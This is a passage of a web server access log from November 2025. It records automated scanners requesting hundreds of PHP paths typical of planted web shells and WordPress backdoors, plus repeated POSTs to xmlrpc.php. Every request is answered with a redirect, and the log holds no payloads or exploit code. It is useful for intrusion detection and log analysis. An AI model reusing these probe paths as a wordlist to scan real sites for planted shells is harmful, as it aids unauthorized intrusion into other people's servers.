/file21.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:35 +0330] "GET /ssss.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:36 +0330] "GET /ut.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:36 +0330] "GET /inde.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:36 +0330] "GET /classgoto24.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:36 +0330] "GET /030.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:36 +0330] "GET /thh.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:36 +0330] "GET /indo.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:37 +0330] "GET /fileas.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:37 +0330] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:37 +0330] "GET /33.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:37 +0330] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:37 +0330] "GET /he.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:38 +0330] "GET /thxt.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:38 +0330] "GET /wfile.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:38 +0330] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:38 +0330] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:38 +0330] "GET /usep.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:39 +0330] "GET /wa.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:39 +0330] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:39 +0330] "GET /file1.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:39 +0330] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:39 +0330] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:40 +0330] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:40 +0330] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:40 +0330] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:40 +0330] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:40 +0330] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:40 +0330] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:41 +0330] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:41 +0330] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:41 +0330] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:41 +0330] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:41 +0330] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:42 +0330] "GET /--.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:42 +0330] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:42 +0330] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:42 +0330] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:42 +0330] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:43 +0330] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:43 +0330] "GET /file4.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:43 +0330] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:43 +0330] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:43 +0330] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:43 +0330] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:44 +0330] "GET /ffile.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:44 +0330] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:44 +0330] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:44 +0330] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:44 +0330] "GET /jlex3.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:45 +0330] "GET /des.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:45 +0330] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:45 +0330] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:45 +0330] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:45 +0330] "GET /efile.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:45 +0330] "GET /afile.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:46 +0330] "GET /errorfile.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:46 +0330] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:46 +0330] "GET /gool.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:46 +0330] "GET /haikh.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:46 +0330] "GET /135.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:47 +0330] "GET /enclas.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:47 +0330] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:47 +0330] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:47 +0330] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:47 +0330] "GET /image.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:48 +0330] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:48 +0330] "GET /mail.php? HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:48 +0330] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:48 +0330] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:48 +0330] "GET /size.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:49 +0330] "GET /mpxct.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:49 +0330] "GET /0xx.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:49 +0330] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:49 +0330] "GET /hq.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:49 +0330] "GET /blox.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:49 +0330] "GET /ant.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:50 +0330] "GET /fso.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:50 +0330] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:50 +0330] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:50 +0330] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:50 +0330] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:51 +0330] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:51 +0330] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:51 +0330] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:51 +0330] "GET /xpass.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:51 +0330] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:52 +0330] "GET /bless2.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:52 +0330] "GET /bless6.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:52 +0330] "GET /bless10.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:52 +0330] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:52 +0330] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:52 +0330] "GET /thoms.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:53 +0330] "GET /xsas.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:53 +0330] "GET /xrp.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:53 +0330] "GET /wp-freya.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:53 +0330] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:54 +0330] "GET /file30.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:54 +0330] "GET /fesa.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:54 +0330] "GET /class-.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:54 +0330] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:54 +0330] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:54 +0330] "GET /9v6.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:55 +0330] "GET /lte7.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:55 +0330] "GET /1vbqo.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:55 +0330] "GET /l10n.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:55 +0330] "GET /tajj.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:55 +0330] "GET /fdd2.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:56 +0330] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:56 +0330] "GET /sto.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:56 +0330] "GET /7h.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:56 +0330] "GET /fh26.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:56 +0330] "GET /ixj.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:56 +0330] "GET /x23.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:57 +0330] "GET /zeu.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:57 +0330] "GET /f2r4.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:57 +0330] "GET /lopst.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:57 +0330] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:57 +0330] "GET /0xs.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:58 +0330] "GET /Zeiss.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:58 +0330] "GET /x0x.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:58 +0330] "GET /adin.php HTTP/1.1" 301 795 "-" "-" 194.165.16.8 - - [05/Nov/2025:11:58:22 +0330] "POST /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 52.169.5.4 - - [05/Nov/2025:11:53:58 +0330] "GET /wsz.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:58 +0330] "GET /ahy66.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:59 +0330] "GET /thai.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:59 +0330] "GET /dex.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:59 +0330] "GET /zen.php HTTP/1.1" 301 795 "-" "-" 95.165.1.220 - - [05/Nov/2025:12:20:17 +0330] "GET /wp-content/plugins/king-addons/freemius/assets/css/customizer.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36" 83.139.133.182 - - [05/Nov/2025:12:29:11 +0330] "GET /wp-content/plugins/post-smtp/assets/js/postman-suggest.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:13:43:46 +0330] "GET //wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:40:24 +0330] "GET /Hhhknt-an9awlbkhhh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:42:17 +0330] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:45:12 +0330] "GET //radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:46:47 +0330] "GET //wp-Lp3KJd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:48:37 +0330] "GET //wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:52:06 +0330] "GET //wp-includes/css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:53:47 +0330] "GET //admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:55:38 +0330] "GET /ammika.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:00:51 +0330] "GET /yami.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:02:49 +0330] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:49:59 +0330] "GET //wp-includes/widgets/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15" 154.3.62.7 - - [05/Nov/2025:13:53:48 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MixrankBot; crawler@mixrank.com)" 89.131.59.73 - - [05/Nov/2025:13:57:25 +0330] "GET /qdykp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:13:59:04 +0330] "GET /saiga.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:09:48 +0330] "GET //ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:11:14 +0330] "GET //up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:04:35 +0330] "GET //uploads/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:06:24 +0330] "GET /sites/all/libraries/elfinder/elfinder.php.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:08:05 +0330] "GET //images/vuln.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:14:19:24 +0330] "GET //ex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:12:48 +0330] "GET //wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:14:19 +0330] "GET //upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:15:53 +0330] "GET //media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:17:25 +0330] "GET //cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:28:01 +0330] "GET //k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:29:33 +0330] "GET //lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 194.165.16.8 - - [05/Nov/2025:14:30:03 +0330] "POST /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:14:31:08 +0330] "GET //options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:32:55 +0330] "GET //pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:34:19 +0330] "GET //product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15" 89.131.59.73 - - [05/Nov/2025:14:35:57 +0330] "GET //wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:37:23 +0330] "GET //wp-content/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:21:18 +0330] "GET //gfyctn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:23:03 +0330] "GET //hplfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:24:44 +0330] "GET //inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:26:19 +0330] "GET //item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:38:58 +0330] "GET //wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:40:24 +0330] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:43:38 +0330] "GET //wp-content/networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:45:11 +0330] "GET //wp-content/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:42:04 +0330] "GET //wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:46:51 +0330] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:50:06 +0330] "GET /gecgin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Mobile/15E148 Safari/604.1" 194.165.16.8 - - [05/Nov/2025:14:50:55 +0330] "POST /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 89.131.59.73 - - [05/Nov/2025:14:51:40 +0330] "GET /lin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 89.131.59.73 - - [05/Nov/2025:14:48:31 +0330] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 